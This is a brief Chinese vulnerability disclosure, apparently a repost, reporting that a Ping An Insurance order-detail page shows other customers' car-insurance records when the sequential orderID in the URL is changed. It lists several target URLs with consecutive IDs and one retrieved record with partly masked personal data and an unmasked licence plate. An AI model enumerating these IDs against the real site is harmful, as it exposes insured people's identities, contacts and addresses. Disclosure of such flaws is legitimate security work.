中国平安保险（集团）股份有限公司上万用户敏感信息泄漏（含车牌号，车主，车架号，地址，电话）企业安全分享!

中国平安保险（集团）股份有限公司上万用户敏感信息泄漏（含车牌号，车主，车架号，地址，电话）

中国平安保险（集团）股份有限公司上万用户敏感信息泄漏（含车牌号，车主，车架号，地址，电话）

哈罗

https://icorepams.pingan.com.cn/ebusiness/upingan/memberOrderDetail.html?orderID=916689

直接遍历

ID没有任何加密，替换可查看其他的用户数据，替换，直接上万查看，逻辑思路
 

https://icorepams.pingan.com.cn/ebusiness/upingan/memberOrderDetail.html?orderID=916690

https://icorepams.pingan.com.cn/ebusiness/upingan/memberOrderDetail.html?orderID=916691

https://icorepams.pingan.com.cn/ebusiness/upingan/memberOrderDetail.html?orderID=916692

https://icorepams.pingan.com.cn/ebusiness/upingan/memberOrderDetail.html?orderID=916693
 

https://icorepams.pingan.com.cn/ebusiness/upingan/memberOrderDetail.html?orderID=916691

 我的保单 车牌号：陕A-Z5C00  保单号 保单生成中  商业险保单生效日期 2015-06-22  商业险 ￥1924.33  机动车损失保险 投保 ￥803.93  机动车第三者责任保险 100000 ￥631.4  车身划痕损失险 2000 ￥238  不计免赔险(机动车损失保险) 投保 ￥120.59  不计免赔险(机动车第三者责任保险) 投保 ￥94.71  不计免赔附加险 投保 ￥35.7  总保费 现价：1924.33 车辆信息  车架号 LJDLA*******16021  发动机号 E10***14  品牌型号 起亚YQZ7142轿车  车辆登记时间 2014-01 车主信息  姓    名 *卫平  证件类型 居民身份证  证件号码 61012********92211 投保人信息  姓    名 *卫平  手机号码 136****1141  证件类型 居民身份证  证件号码 61012********92211 被保险人信息  姓    名 *卫平  手机号码 136****1141  证件类型 居民身份证  证件号码 61012********92211 配送信息  姓    名 *卫平  手机号码 136****1141  详细地址 陕西省西安市碑林*************业股份有限公司  配送状态 详询4008000000

 https://icorepams.pingan.com.cn/ebusiness/upingan/memberOrderDetail.html?orderID=916692

 https://icorepams.pingan.com.cn/ebusiness/upingan/memberOrderDetail.html?orderID=916693

解决方案：

过滤.

—-想了解更多的企业安全相关处理怎么解决关注<计算机技术网(www.ctvol.com)!!>